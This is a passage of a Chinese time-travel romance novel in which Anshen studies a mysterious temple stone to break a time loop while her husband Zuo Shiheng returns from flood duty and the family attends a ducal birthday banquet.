而二十九岁的左时珩,却像被虫蛀透了,枝叶凋零,堪堪剩下个一副枯朽的树干勉力支撑。 一想到那四年对他的折磨,安声便要落泪。 上天啊,她在心里祈求,请多眷顾他一点吧,他从来没做错过任何事- 七月中,汛期来临。 朝廷接到几个府的奏疏,秉明发水情况,江河的水涨得太快,闹得人心惶惶。 皇帝召廷臣商议后,派了工部几位大臣分别前往当地协助监督,左时珩再次应召前往高平府,要在那里等汛期结束,为期一月左右。 临行前,他难得犹豫,甚至拖延了几日出发时间。 到了不得不离京的前一日,安声替他收拾行囊,他还要借口把东西拿出来。 安声真是讶异不已。 傍晚时分,她与左时珩给岁岁阿序一起洗澡,大澡盆里两个孩子咿咿呀呀地玩水,洒了他们一身。 安声见左时珩望向两个孩子眼底的笑意,问他是不是舍不得岁岁与阿序。 左时珩拿了帕子给岁岁擦头发,闻言道:“自然是舍不得的。” “左右不过月余,比上回可让我安心多了。”安声接过岁岁,将女儿放在腿上穿衣服,“回来时不必急着赶路,一切以你平安舒适为主。” 阿序坐在澡盆里,似听懂了般,口齿不清地说:“……爹爹……要……走……” “宝宝也不舍得爹爹走对不对?”安声语调温柔,“跟爹爹说,‘早些回来’。” 岁岁学着娘亲的样,啊呜啊呜了两声:“回……来……” 左时珩笑了几声,将儿子抱起擦干,穿好衣裳,同安声一道将孩子抱回小床上呆着。 他垂眸道:“左右也湿了,我们也顺势洗了吧。” 安声点头:“也好,省得晚上又烧水。” 夏日炎热,不用担心水凉得快,她与左时珩齐齐坐进浴桶中,左时珩便将她从后圈入怀中,低头吻着她肩头,气息热热的,携着水汽洒落。 “左时珩……”安声抬手摸着他脸,“你是不是有什么心事?能不能同我说。” 左时珩就这样抱着她,安静了半晌,才低叹:“你上次同我说的话,我总不能释怀。” “嗯……什么话?” “在马车里说的。” 安声这才想起来,心微微沉了些。 左时珩收紧力道,将她整个锢入怀中,紧贴着胸膛,在她颈侧亲昵蹭着。 “阿声……我真怕我一走,再回来时,你就不见了。” 他心跳的有些快。 安声握住他手,在水下摩挲安抚:“怎么会呢,我能去哪?就算要走,我也会提前跟你说,不会不告而别。” 她这话说出来,自己心口反倒先刺痛了下。 安和九年末,她就是不告而别的,毫无征兆地在他面前消失。 如今的他是身体康健,从未与她分离过,已是这般惶然难安,而安和九年时,他一身病痛,还失去过她一次,得而复失,又要如何承受。 水声倏动,安声在他怀里转过身,捧起他脸细细地吻。 “左时珩……我唯一的念头,就是与你天长地久,即便有一日我会离开,你也要相信,我定有归期,绝不是要抛下你。” 左时珩阖上眸子,墨睫垂落,被水汽沾湿,如落了泪般。 他回吻妻子,于她唇上温柔逡巡。 “不要说‘离开’……假设也不行。” 水雾朦胧,两颗近在咫尺的心缓缓贴近,直至亲密无间。 “水……漫出来了……” 安声的声音不大真切,气息急促着。 “不要紧……我会处理的……” …… 左时珩离京的第二日,张为是张大人亲自登门,给她送来一封家书及一大袋的东西。 信是他夫人所写,专门给她的,东西自然是去年承诺给她的特产和礼物。 张大人去岁也奔赴了高平府,建功不少,因此今年上半年被提拔为工部一个主事。 他这一番高中,仕途也顺,属实是在家族中扬眉吐气,便豪掷千金,在离工部衙门不远处购了座宅院,将来接妻儿过来方便,也就不在杏花胡同这里住了。 今年开春后,他抽空回了趟家,夫人与儿子就没有再过来,安声还有些遗憾不能再见到性子爽朗的赵夫人。 赵夫人给她信中,先是恭喜她诞下双生子,然后恭喜她夫君升官,还问她身体如何,过得如何云云,另半部分是给她介绍崖州的人文风貌,期待有机会她夫妻亲至游览。 她说崖州盛产海鲜,都是京城吃不到的,可惜路途遥远,不能送来,只能送她一些不值钱的东西,希望她不要嫌弃。 安声整理着她口中那些“不值钱”的东西,一大盒珍珠,从大到小,颗颗圆润饱满,价值不菲,一大袋贝壳,五颜六色各式各样,还有四套小孩的衣裳,式样也都是崖州流行的,与京城十分不同。 尤其有一艘贝壳做的海船,更是精致异常,不知用什么粘合的,丝毫痕迹也看不出,宛若天成,通体没有其他材质。 这样精美的艺术品,她只是轻描淡写地说给孩子玩。 安声失笑,也有些感动。 她将这艘船放在书房书架最上方,一眼便能看见。 又回信一封,附上几件她闲来无事雕刻的其他物件,一并派人送去给了张大人。 然后,她找来李婶夫妻以及穆诗,吩咐道:“我曾在嘉城有位好友,昨日接到她消息,说是病的严重,请我去小住半月,事出紧急,你们不必跟着,好生看顾岁岁阿序,我会尽快赶回。” 李婶与穆山都大为吃惊,穆山说要送她去,但安声拒绝了,且态度坚决。 当日,她收拾了几件衣裳,带岁岁阿序睡了一晚,恋恋不舍地与他们说了好些话,也不知他们听没听懂。 翌日一早,她天不亮就出门,另租了辆马车,去天外山。 第72章 时间 安声在来客寺住了九日,白日里歇在客房整理笔记,避开游人香客,到了夜间,寺门紧闭,她才提一盏灯去立石殿,到天明方回。 僧众均不理解,对这位官夫人的怪异行为感到莫名其妙,但她给足了银子,又的确只是观石,并未逾矩,因此也就随她去,只当她有些怪癖。 安声很怕黑,夜行于寺中,跨进立石殿时,浓墨般的夜色似乎藏着无数妖魔鬼怪,暗中环伺着她,连挤进罅隙中变调的风声都仿佛成了鬼魅的嘶吼叫嚣,让她心惊胆战,毛骨悚然。 山上太黑了,尤其是没有月亮的夜晚。 本就空旷的大殿更显孤寂冷清,似久无人气,化作幽冥。 她曾听说,寺庙这种地方最是极端,白日里烟火鼎盛,魑魅魍魉不敢造次,夜里人神皆空,反倒成了它们聚集的乐场,可以放肆吸食残余的香火。 说来也怪,她未见神佛不信神佛,未见鬼怪却怕鬼怪。 在此之前,她根本不敢想象,自己能在阴森的寺庙大殿独自捱过九个夜晚。 她曾听见窸窸窣窣的动静,在四周交错响起,硬着头皮举灯查探之际,一只很大的灰皮老鼠猛地从她脚背蹿了过去,吓得她浑身僵硬不敢动弹,险些打翻烛火。 也曾于一个雨夜,在交织的风雨声中,若有若无地听见女人在窗外哀哀哭泣,或者男人低低叹息。 她坚信这一切只是内心的恐惧被意识放大加工而成,要对抗这些,她无法做到短时间内克服与生俱来的恐惧,只能将注意力尽可能地转移到对那块天外奇石的研究上。 她找到了自己在安和九年第一次来这里用金簪划下的浅坑,依照之前的顺序数了数,只找到五个,还有两个被其他字覆盖,已看不清。 但不重要,这不是什么有效信息,不过再次提醒她,当她“重来”后,一切都被重置,除了这里,也除了她。 这个世界,只有她与这个石头是异端,不参与这个世界的时空修正。 她从安和九年来到太永末年,依旧保留了安和九年的记忆,这块石头也是。 但她也发现,她并不能保留每一次的循环记忆,对她而言,重来是真的重来,如果不是在石头上发现了蛛丝马迹,那么她不会意识到这是个无解的循环。 是哪里出了问题? 石头既能保存每次循环的痕迹,为何她不能? 这个世界不能修正她,又是什么修正了她? 烛泪堆砌,烛芯哔啵一声,终是灭了。 一轮红日跃出云雾,向天外山洒下第一缕光辉时,安声松了松酸胀的四肢,将窗推开,灌了口盛夏清晨难得的湿润凉气,在纸上写下“来处”二字。 随后她将笔一丢,疲惫至极地倒在窄硬的床榻上,沉沉睡去。 在这里她睡不好,总是做梦。 这似乎也验证了她一个想法。 每每接近这块石头,她便会做梦,梦里那些信息是有关于她曾经失败的循环经历,以梦境的形式反馈给了她。 上次从天外山回来,她也做了梦,但她那夜生病,实在神思昏沉,醒来也不清醒,因此没能记得。 人的梦又是什么呢,是意识在时空罅隙的投射,还是在不同平行世界的飞速穿行。 哪些是真,哪些是假,她也不知道。 混乱失序的梦境给她提供了许多视角,但可惜,她无法掌控它们,也无法给那些碎片排序。 她只能将它们全都记下来。 以及,她曾有两次在立石殿中感受到了时空的变化,其中一次自然是上次。 至于另一次,若她所料不错,是安和九年,她与左时珩同临此地,左时珩说有一瞬不见了她,心慌意乱。 她当时没有多想,却在去年重来立石殿时,听见了左时珩跨越时空的一次呼唤。 …… 第十日,林雪竟也来了天外山来客寺,安声在下午出门吃饭时撞见了她,她呆了半晌,震惊地将她拉住。 问她:“你怎会在这里?我去你家找你,你家下人说你去了嘉城看望好友。” 安声一时想不出什么拙劣的借口,就只是摇了摇头。 林雪见她脸色很差,满眼疲惫,以为她是出什么事了,不由连连追问:“你同左大人吵架了?他一定很过分,怎么使你伤心得连孩子也不管了,一个人跑到这山上来住。” 安声否认了。 她心里长叹一声,编造了个谎言。 “左时珩去年往高平府去前,我曾来这里发过愿,他若平安归来,我就来此素斋半月,时过一年一直未找到机会,如今他又去高平府,我担心不已,故而趁机来此还愿。” 语毕也恳切求了林雪,言此事不便外露,请她保守秘密。 林雪恍然:“原来如此,不过你真奇怪,发愿不去相国寺,却跑来这小寺庙。” 安声笑一笑。 林雪仔细端详好友模样,心疼道:“安声,声儿,瞧你把自己折腾得多可怜,才吃了几日的素就清瘦这样多,可见和尚姑子都不是一般人能当的,等你下山去,我请你去同庆楼大吃特吃。” 安声抱了抱她,心下动容。 “好。” 林雪来此是听人说起这座来客寺有个得道高僧,很有本事,想抽个签请他解一解,自己何时能怀孕,可惜她扑了个空,住持告诉她,惠能师父云游四方,归期不定,如今不在这里。 她不便久留,要赶着下山,于是无法多陪安声,临走前她问:“永国公府那唯一的独苗宝贝世子,下月要过生辰,老夫人喜欢你家岁岁,定会给你下请帖,你还将岁岁带上,我们一同去好不好?” 上次永国公府的周老夫人办赏花会,她便是带了岁岁与林雪同去,不过到了没两个时辰,突兀下起大雨,将园中那些花打得七零八落的,周老夫人忽然没了心思,众人也都很快各自散去。 不过躲雨时,老夫人见她怀中的岁岁冰雪可爱,甚是喜欢,逗弄了许久,直到她们告辞时还有些恋恋不舍,说下次再请她来。 安声有些心不在焉地应了。 她如今对时间既敏感又迟钝,还有些混乱。 林雪走后,她继续留在天外山,又待了五日。 她夜夜举着烛火将奇石摸了个遍,一横一竖都不放过,担心遗漏,还用墨去拓印,然后在白日细细比对。 一晃半月,出门前与李婶他们约定的归期已至,她对岁岁与阿序思念的心也早已按捺不住,将所有拓印的毛纸与整理的思路笔记一齐收好,准备下山。 越往山下走,越能感觉炎热,山中树木葱茏,蝉鸣聒噪,日光漏下来都仿佛能灼伤人。 安声行至半途,偶然见到一棵被盛夏雷电劈折又发出新叶的树,忽然灵光一现,又匆匆回转,再度进了立石殿。 殿中无人,她趴到石上,脑袋尽力偏了个方向,从斜下往上去看,原本一些无序的划痕在她眼中忽然呈现出模糊的英文来。 她辨认得艰难,却也确信是自己的字迹,大意为—— 安和九年前不可至。 她注视着那行字母,看了一遍又一遍,确认没有错漏,怔忡许久,惶惑不解。 不远有钟声传来,铛铛铛—— 余韵悠长。 她思绪扯回,吐了口气,抚着胸口走出殿门。 一年轻小僧见到她,惊讶了下,而后礼貌地双手合十:“夫人今日又来看石头?” 安声笑回:“嗯,不过这便要回去了。” “这次不在寺中小住了吗?” “已住够了,这段时日给你们添了不少麻烦。” 小僧笑说无妨,不过确实第一次见到这么喜欢这块石头的人,也算不负来客寺之名了。 安声下了山,租了马车回家。 这次左时珩不在家,总算不会为她担心,京中已不再下雨,不知他那里汛期何时过去。 她很想孩子,也很想他。 她归心似箭,一路催促车夫快些,到家不过申时。 小院静悄悄的,关着门,她敲了敲,半晌才听见穆诗在门后小心翼翼地问:“谁啊?” 她说:“是我。” 门一下打开,露出穆诗惊喜的脸:“夫人!是夫人!” 她喊起来,接过她的包袱,往二进院奔去:“娘,夫人回来了!快来!你快来!” 安声跟着后面进入院子,失笑:“这么大张旗鼓做什么?” 李婶从屋里跑出来,抱着突然被惊醒而哭个不停的阿序,望着回来的安声愣了愣,眼泪唰一下淌落,颤声。 “夫人,夫人呐……你可算是回来了。” 安声鼻头发酸,接过阿序在怀,歉声:“抱歉让你们担心了,不过我说了半月,也不会食言,大可放心。” 阿序紧紧搂住她脖子,不停哭着喊娘亲,她更是心疼难忍。 听见屋里岁岁的哭声,她又赶紧抱着阿序往屋里去。 李婶抹泪,又哭又笑:“回来就好回来就好,不过下次若有事耽搁了还是递个信,好叫我们放心。” 又问:“夫人饿了吧?我去把午膳热一热拿来。” 她匆匆忙忙跑去厨房。 安声坐在榻上,一手一个孩子,两个孩子都在她怀里抱着她不撒手,哽咽抽泣。 她见穆诗也红着眼站在一旁,便朝她笑道:“过来些,让夫人也抱抱。” 穆诗抬手擦去眼泪,半蹲下来抱着她,将脑袋枕在她膝上。 “夫人说话不算话,说了半月就回的,怎么去了二十二天?” 安声刚想解释,陡然觉得不对劲。 “二十二天?” “今天八月多少?” “今日是八月初十。” 安声如冷水兜头,瞬间打了个寒颤。 是哪一次的时间又变了?她下山时分明是八月初三。 她下意识搂紧两个孩子,心跳得飞快。 穆诗说:“夫人再不回恐怕大人就要回了,大人写了三封家书来,信我没看,但是最后一封不是从高平府送来的。” 安声深吸口气,缓了缓。 “你把信拿来给我。” 第73章 赴宴 左时珩的信与她的不同,他的信总是很短,深切爱意凝在寥寥数笔之间,让她读来心动。 他还随信附上一片干花或叶子,什么也不说,便什么都说尽了。 第三封信是从沂河寄来,那是靖州辖区的一个小镇,他说他回程路过此地,顺道去拜访了一位故友,故友家中经营瓷器生意,问他是否有想特别烧制的瓷器,虽比不得官窑,也非寻常可比。 他便发去急信回家,问安声想要什么。 此信已收到两日,安声没有及时回信,想来这会儿再写,也来不及了,待信寄到,左时珩只怕已再次出发。 安声觉得可惜,不过也顾不得这些。 所幸她只不知不觉多耽误了七日,若是再多几日,只怕就算不引起恐慌也说不清了。 她将左时珩的信看了几遍,叹了口气,回信是回不了的,等他到家再与他解释吧。 …… 左时珩是在八月十九进京的,进京后即去工部述职,回家时已经天黑,可见他一路不停,夙夜奔波,才这样快。 穆诗开门迎他进来,他头一句便问:“夫人呢?” 穆诗答:“夫人刚带了少爷小姐洗澡,这会儿在房里玩呢。” “嗯,打水送去净室吧,我也洗漱一番。” 左时珩听到这句话,绷紧的神经忽然松弛下来,快步走向卧房,疲累到脚步很是沉重。 “左时珩!你回来啦!” 安声眸子发亮,下了床就要扑上去,被他拦住。 他眸光柔和:“我身上脏,等我换了衣裳。” 岁岁与阿序趴在围栏上,探身小小的身子,开心地喊着爹爹,此起彼伏,像聒噪的蝉。 左时珩却不烦,耐心十足,声声应着他们,解下披风,放了行李,等李婶他们将水打来,才去了净室洗沐风尘。 安声收拾他的书箱,在里面看见一个用衣裳包裹起来的木盒。 她打开木盒一看,里头竟是套白瓷茶具,一个茶壶配了四个茶杯,小巧玲珑,精致可爱。 她拿起瓷杯细看,白瓷质地温润,宛如白玉,难得的是杯底竟有只卡通小猫。 安声讶异,又一一看了其余三只,两只灰色小猫,两只黄色小狗,皆是她常用的画风,但却是左时珩的工笔。 她看向净室方向,里面安安静静的,水声已经停了,她放下茶杯,走过去轻轻推开净室的门,里面雾气缭绕,有些闷热。 左时珩仰靠在浴桶里,双眸轻垂,呼吸绵长,累得睡着了。 安声眼底浮起心疼,拿了干巾上前,借朦胧的烛光看他,他眉梢眼角俱是倦色,她一时有些不忍心唤醒他。 “左时珩,去床上睡吧。” 安声摸了摸他的脸。 左时珩掀开眼帘,似乎也有些意外自己竟这般睡着了,不由笑笑:“无妨,是许久没这样泡澡,有些太过舒服了。” 他从妻子手里接过干巾:“你回房去,别湿了里衣。” 等他从净室出来,安声还在欣赏那套白瓷茶具,他见状解释,说在沂河未等到她的回信,只好自作主张,烧了套茶具。 安声好奇:“什么故友?非要送你这样的礼,也是很有心意了。” “不算送礼,我花钱买下了,且这位故友说来也不能算‘友’,更算是恩人。” 他当年赴京赶考,从原州到京城,千里之遥,大部分路程都是靠双腿走的,路上难免遇见山匪流寇,其中一次便是恰好遇上这家瓷器商队,准他同行了一程,他此次特意登门,算是还了人情。 “原来如此。”安声将茶具小心收起来,“到了秋日再拿出来用吧,夏天热,不爱喝茶。” 左时珩轻笑颔首:“是我考虑不周了,早知应当烧一套碗碟。” 碗碟? 安声怔然望着他。 左时珩问:“怎么了?” 安声摇头笑笑,眼圈不知怎么有些发红。 “行李我明日来收拾,先休息。” 左时珩握住她手,两人一同上了榻。 他将岁岁和阿序从小床上抱过来,挨个亲了亲,问他们乖不乖,有没有听娘亲的话。 岁岁和阿序咿咿呀呀的说个不停,小奶音听得左时珩心软软的,任由他们在自己身上爬来爬去。 “好了,不要一直闹爹爹了,爹爹很累。” 安声戳了戳他们肉嘟嘟的小脸蛋,“岁岁宝宝,阿序宝宝,要乖乖去睡觉觉了。” 两个孩子正在兴头上,自是不愿,又是好一番哄弄折腾,才终于睡着了。 左时珩眼底始终噙着笑,将围栏关上,纱帘放下,才慢慢松了口气。 安声伸手将他推倒在枕上,低头吻过他眉眼。 “你也该睡了,累成这样……不是叫你不要急着赶路回来吗?” 他将妻子用力圈揽入怀,温热的气息拂过她的发丝。 “……我归心似箭,脚步如何能停?你没有给我回信,我更放心不下。” 安声沉默片刻,说自己去嘉城了,唯恐他不信,她还说了去嘉城的路径,以及回程路过钦鹤镇时还尝到一家味道不错的点心铺子。 “唔……”左时珩埋首在她颈侧,声音透着疲惫,“下次我同你一道去好吗?” 安声顿了顿,说:“好。” 但耳畔气息沉沉,他已睡熟了。 安声轻轻转了个身,心疼不已地望了他许久,最后忍不住捧着他脸亲一亲,眼里雾气弥漫。 她基本已经确定一些事。 其一,她是这个世界的外来者,一定会在某个时刻被送回去,按照已知信息来看,第一次穿越后被送回去的时间为安和九年冬,第二次,也就是现在,回去的时间是安和四年春。 但她能从现代一次次再过来,再重来,她却不知原理,很有可能是那块同为外来客的石头让这个世界存在一个“通道”,容许她的意识与此地相互连接。 其二,石头周围存在一个“时空罅隙”,只有她能进入,罅隙中的时间流速与外界不同,当真是“山中才一日,世上已百年”。 但这个罅隙在哪,何时出现,时间流速变化的比例又是什么,她还要再想。 这回她去看过石头那么多次,偏偏只有心血来潮回转那次才进入罅隙中,是何原因? 若是一定要说,那就是三次都在午后,而她其余进入立石殿的时间,都是避开人流的夜里。 这次她在石上发现的最关键的信息是一句新的话——安和九年前不可至。 她不想去浪费时间探究原因,而是选择无条件相信曾经的自己。 也就是说,如果不弄明白这一切是为什么,她只需要在这个世界将她于安和四年送回现代之前,主动进入罅隙,在里面等到安和九年再出来,就可以跳出循环。 听起来很容易,但她之前全失败了。 可见,之前的她算不准时间流速的比例,总是或早或晚,要么可能在安和九年之前,要么在之后,最接近的一次是在安和九年底…… “第十一次,又是安和九年,左时珩死,重来。” 又是安和九年,说明她很有可能在近两次循环中已经可以回到安和九年,但还不够精确,因为依旧迟了半步,左时珩他…… 安声深深地叹了口气,觉得很热,从左时珩怀里退出来。 左时珩蹙了蹙眉,梦中因她的离开而不太安稳。 安声俯身凑近,在他唇上落下轻吻以示安抚,他才又重新睡去。 她脑子里的东西太多太乱了,夜里总是很难入睡,每每想到一点,都要反复梳理几遍加深印象。 因为她不能用笔写下来,那些相关的文字很快会变得看不懂,哪怕是石头上的拓印。 所以她怀疑自己已经总结出了时间流速的公式,刻在了石头上,但她没能找到。 她从浩如烟海的划痕中,只辨认出过几个重复出现的词,“燃香”“钟声”。 在来客寺小住时,她也频繁做梦,但这些梦很难在醒来时被完全记住,即便记住了部分,有些似乎也只是日有所思,而非“过去重现”或者“将来预兆”。 但她倒记得一幕—— 她在一个有风的午后悄声走进立石殿,然后凭空消失,那时山中回响的寺庙钟声正好停下- 八月底,是永国公府嫡孙谢毓华的三岁生辰,永国公府大操大办,大宴宾客,左时珩与安声提前半月就接到了请帖。 正好左时珩从高平府回来,安声便与他一同前去赴宴,不仅带了岁岁阿序,还有李婶穆诗陪同,穆山驾车。 左时珩平日甚少参与这样的交际,甚至不如安声赴宴赴得多,但他身为新科状元,朝廷新贵,实在炙手可热,因此他再推辞,这样的事也总在所难免。 但与妻子一起,他倒很乐意。 马车停在街口时,他细细嘱咐:“若是累了,就让人告诉我一声,我去园中接你们。” 安声笑道:“这园子很好逛,今日又难得天气好,多逛逛也无妨,你不必担心。” 左时珩下了车,又接了他们下来。 “但这次还带了两个小家伙来,怕他们在外面哭闹,你总要顾着他们,自己也逛不好。” 李婶从他怀里接过阿序,闻言道:“少爷小姐懂事得很。” 安声莞尔,握了握岁岁的小手:“是,岁岁和阿序不知多么省心,爹爹不准说坏话。” 岁岁和阿序听懂了似的,都瞪着大大的眼望向父亲,哼唧两声以示抗议。 左时珩笑:“好,是爹爹的不对,你们要乖乖的听娘亲的话,晚点爹爹去接你们一起回家。” 又说了几句,便有人认识他的同僚过来打招呼,他忙应了,穆山携礼紧随其后。 安声见状,也跟着侍女往侧门进了园子。 侍女一路领着她往青叶园深处去,安声认出那是周老夫人的住处,便也没问。 今日太阳大,但有风,外面热得要命,园子里却凉快,浓荫遍地,花团锦簇,随处可见给花草浇水的小丫鬟。 因今日要庆祝世子生辰,还挂了不少彩色灯笼、宫花等,喜庆非常。 侍女笑着给她介绍,老夫人钟爱女孩,国公府里本也女孩多,外面的女孩也可送过来读书明理。 “不过啊,说是读书,其实不过是姑娘们聚在一块儿玩罢了,平日里都拘在后宅无处可去,还是这里好。” 安声笑应:“是,这园子大,又漂亮,天天逛也不腻。” 眼见着到了,侍女打起门帘请她进去。 “我们老夫人最爱岁岁小姐,成天念叨着,可算是又来了,等再大些,夫人若肯割爱,不如也送到我们青叶园里住着好了。” 安声抱着岁岁,李婶抱着阿序,后头跟着穆诗,三人次第进去拜见老夫人。 周老夫人这边人还不少,先听到丫鬟那话,故意板着脸训了句:“岁岁才这么小,就想着送来,别叫误会我成偷人家孩子的了。” 安声笑说不会,落了座。 老夫人才又眉开眼笑:“今儿我这儿可热闹,你们要常来,我高兴,你这一双儿女生养得真好。” 说着去逗弄岁岁:“还记不记得我这个老太太了?” 岁岁不怕生,一逗就甜甜地笑,很招人疼。 安声干脆将她递到老夫人怀中,老夫人喜不自胜。 她从李婶手中接了阿序,同其他夫人们说着话。 宴会还没开始,外头比里面热,大家闲聊着,一时也无事。 见李婶与穆诗在旁无聊,她就让她们园子里逛逛,不要走远即可。 李婶不去,穆诗倒耐不住性子。 一旁的侍女见了,主动拉了她出门,笑道:“我带妹妹去我那儿玩吧,这儿人多,还用不着我们伺候呢,就当偷懒了。” 穆诗看向安声,安声笑着点头,她这才雀跃走了。 约坐了两盏茶时间,丫鬟过来跟老夫人说世子醒了。 老夫人笑道:“快叫乳母带过来见一见人。” 众人都看向后方,果然没多久一个乳母牵着一个三四岁的小男孩出来,男孩穿着件宝蓝织金襕衫,下着绸缎裤,脚上一双虎头鞋,没什么多余装饰,唯有颈间系了个金色长命锁。 他边走边揉眼睛,眉目清秀,脸圆圆的,还有些未睡醒的憨态。 众人都笑,也纷纷夸赞。 他听到动静仔细看,仿佛从没见过这么多人,有些不好意思,一下奔到老夫人跟前。 老夫人道:“慢点,别吓到你岁岁妹妹。” 他这才注意到祖母怀中抱了个漂亮的小姑娘,扎着两个短短的揪揪,大大的圆圆的眼,煞是可爱。 他抬头,目不转睛地望着这个还不会说话的妹妹。 岁岁也好奇地望着他。 谢毓华忽然问:“祖母,我能亲一下妹妹吗?” 安声方才见谢毓华过来,脑中冒出她在永国公府陪岁岁住时,窗外那个半大少年的沉稳模样,陡然变成眼前几岁稚童,摇摇晃晃地走来,还有些没回过神。 听他这样问,她下意识抢白:“不行。” 尴尬了下,又补充道:“咳,我是说,只能亲一下脸。” “好的,夫人,我只亲一下脸。” 他很有礼貌地点头,踮起脚亲了一下岁岁。 安声后知后觉,蓦然想,这小子,不会很早就惦记岁岁了吧。 第74章 赏赐 老夫人笑得开怀,对安声道:“看来我这孙儿和你家岁岁很合得来,她日后若到我家来,有我一样的宠着,不怕被欺负。” 安声一愣,没接话。 现在就说这种事?这合适吗? 老夫人身边的大丫鬟忙笑道:“我们老夫人是说,岁岁小姐要是读书习字,能来园子里,在老夫人这里与小少爷一同吃住,不会亏待了她。” 老夫人笑:“是,我就是这个意思,她嘴巧,我嘴笨。” 偏这时有位夫人见缝插针。 “另个意思也好,若是两家都欢喜,早早定下来,将来又能一起长大,不知感情多么深厚,是旁人比都比不上的。” “岁岁还太小了……我不去想此事。” 安声扯了个笑,恨不得立即将岁岁抱走。 老夫人也不生气,也揽了孙儿在侧,朝安声笑道:“你别见怪,她侯府里三个子女都成了亲,婚事不错,故而最近爱张罗起这种事,如今两个孩子都还小,不懂事,日后如何是他们的造化,岁岁这孩子我一见就喜欢,将来她无论怎样,我也喜欢,断没有算计的意思。” 安声附和几声。 抛去谢毓华这小子对岁岁有没有心思不谈,老夫人的确对岁岁很疼爱,这一点毋庸置疑。 宴会开始后,老夫人携嫡孙去了前厅,与宾客们见礼,安声则与李婶抱着岁岁阿序在园中凉亭里坐着歇一歇,偶尔也有几位夫人过来同她一起坐坐,说说话,夸岁岁与阿序生得好,又聪明,长大必定是人中龙凤。 只剩她与李婶在时,安声忍不住嘱咐起阿序:“宝宝,日后要看好妹妹,莫让她随意被人惦记了,知道吗?” 李婶直笑:“夫人这话说得也忒早了些吧,至少也要等七八岁了才能听明白。” 七八岁…… 安声心里叹了口气,她也想啊。 可安和四年,岁岁与阿序虚岁才四岁,若按实岁算,满打满算还不及三岁。 她怎么舍得,她怎么舍得啊。 念此,她不禁将两个孩子都抱在怀里亲了亲,眼圈有些酸胀起来。 岁岁阿序也似感受到了娘亲的情绪,都乖乖在她怀里,抓着她衣裳,用稚嫩的声音喊:“娘…娘亲……” “没事,娘亲没事。”安声深吸一口气。 李婶忙问:“夫人这是怎么了?怎么眼还红了?”又笑:“小姐日后能到谁家去还不是要夫人和大人同意嘛,怎么这会儿就伤心起来?” 安声赧笑,说自己想到日后,只是一时触动,有些矫情罢了。 “安声!”一道喊声隔着花丛传来。 安声张望,原是林雪,立即应道:“你是才来?” 林雪牵着陈静月匆匆过来,一头的汗,坐下来用帕子给小姑娘擦了擦,又拿起罗扇挥个不停。 “我家中有事稍稍耽搁了,来时正巧与国舅爷碰上了,来参加个生辰宴而已,他真是好大的阵仗,马车来了七八辆,将一条街都占了,我绕了好些路才进来园子。” “国舅爷?” “你不知道?就是那位冯国舅,他的女儿近日封了贵妃,不知多么出风头,恨不得让全京城的人都知道他是皇上的老丈人,我看呐,就他这样高调,不知能风光几时。” 安声抿唇笑了笑。 能风光挺久的,至少到安和九年。 不过左时珩同她说过,这位国舅爷除了爱出风头这点,人倒不坏,且他家族没有势力,族中无一男丁做官,犯不了大错,皇帝也任他去。 林雪朝她伸手:“快把阿序给我抱一抱,我沾沾你的儿子运,你说我这个肚子怎么就是没动静呢,你不知道,我已使了浑身解数了,我娘给我那本图册我都翻烂了。” 安声:“……” 李婶更是咳了声,撇过脸去,一副听到了什么不得了的事情的模样。 安声将阿序抱给她,又放了岁岁下来在腿间站着:“……当孩子面不要说这些。” 林雪道:“还不是她们能听懂的年纪,若是,我也就不说了。” 她摸摸陈静月的头:“等小月长大,我再和她说,免得她像我一样成婚前险些什么都不懂,闹了不少笑话。” 陈静月看看母亲,蹲下来和岁岁去玩。 安声笑了笑。 此时阳光和煦,微风轻拂,她望着林雪,又看看几个孩子,当真觉得岁月静好,连蝉鸣都不觉聒噪了。 可惜她心头那团阴云如影随形,始终无法灿烂起来。 “林雪。”她开口。 “嗯?”林雪正用手上的玉镯逗着阿序。 安声慢声道:“将来若是我不在家,左时珩无力看顾两个孩子,你接他们去你那住一段时日吧。” “好啊。”林雪应罢不对,讶异问,“你要去哪儿?” 安声摇头:“不去哪,只是先这么一说。” 林雪想了想,想不明白,觉得她语气听起来怪怪的,但并未细想。 笑着应承:“何时送来都行,只要你不怕我不还给你。” …… 夜间,左时珩将两个孩子哄睡了,去到书房。 安声似有所感,看了过来。 他站在门前浅笑,淡淡月辉勾出一道清冷出尘的影子。 “又是在练字?” “在写信。”安声道,“给你写。” “给我?” “对,但给未来的你,现在不许看。” 左时珩笑了笑,信步而入,到她近前,果然没去看她落笔处。 只好奇问:“为何?” “答案在信里,你以后看了就知道了。”安声将写好的一封信折起来,装进信封密封,“我十几岁时流行过这种游戏,那会儿叫做漂流瓶,就是将写给未来的话或者心愿,装进一个玻璃瓶里,再丢入大海,当然,不是真的海,总之,等设定好的日期到了就能收到。” 她从书架底下抱出一口藤编的箱子,把信放进去。 “不止漂流瓶,还有那种装入铁盒埋在树下的,不过形式不同,意义却相同,都是留住时间的一种方法。” 左时珩扫了眼,箱中已有厚厚一沓,他不由问:“怎么写这么多?” “还不够多,我想我们在一起一生一世,还有许多许多年,是多少封信也不够填满的,这些只是……”她斟酌,“药。” “药?”左时珩笑了声,“又是什么新的解释么?” “假使你外出,便能取一两封带着,以解相思之症。” “原来如此,那的确对症。” 安声将箱子放回原处,强调:“不过,这个箱子里的信不可取,至少要等安和四年才能看。” “这又是为何?” “听我的就对了。”安声却不解释,三步并作两步到他面前,轻轻一跃,就跳入他怀中,笑得明媚,“左大人,今日赴宴累么?” 左时珩凑近,温热的唇擦过她耳畔,笑意沉沉:“不累,不过小大夫愿意再开一副药我也乐意之至。” “好啊。”安声搂紧他脖子,笑着仰头亲他,“正巧月信还没到,今夜在书房榻上给你细致检查,晚些回房,免得吵醒孩子。” 左时珩低笑不已,哪里还有别的心思,抱着她步上软榻。 两人衣裳尽褪,共枕同欢。 好一番云雨后,弄得榻上铺陈的薄毯都脏了,安声贴在左时珩胸前喘息,雪色尽展,云鬟散乱,又忍不住埋首。 不知为何,即便做了许久夫妻,情话亦是张口就来,她在事后依然免不了害羞。 左时珩拾起衣裳,给她穿上,俯身将她抱起。 “索性已这么晚了,再一同沐个浴罢。” 安声勾住他肩背,只觉黏腻得满身是汗。 “澡是要洗的,只是我没别的力气了。” “何须你出什么力气。”左时珩垂首,轻轻咬了咬她耳朵,惹得她酥酥痒痒,又飘然起来。 待整个人入了水,更是不着一物,浑身通透,舒畅得无法形容。 左时珩宽大灼热的手掌整个抚在她后腰上,将她往怀里送着。 她趴在他肩上,娇娇低吟。 像春来大地,和风细雨,草木破土发了芽。 “左时珩。” “嗯……” 她没来由道:“将来离文安侯夫人远一点。”- 